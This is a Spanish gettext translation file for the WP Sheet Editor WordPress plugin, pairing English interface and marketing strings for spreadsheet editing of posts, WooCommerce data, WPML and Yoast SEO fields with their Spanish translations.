                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" 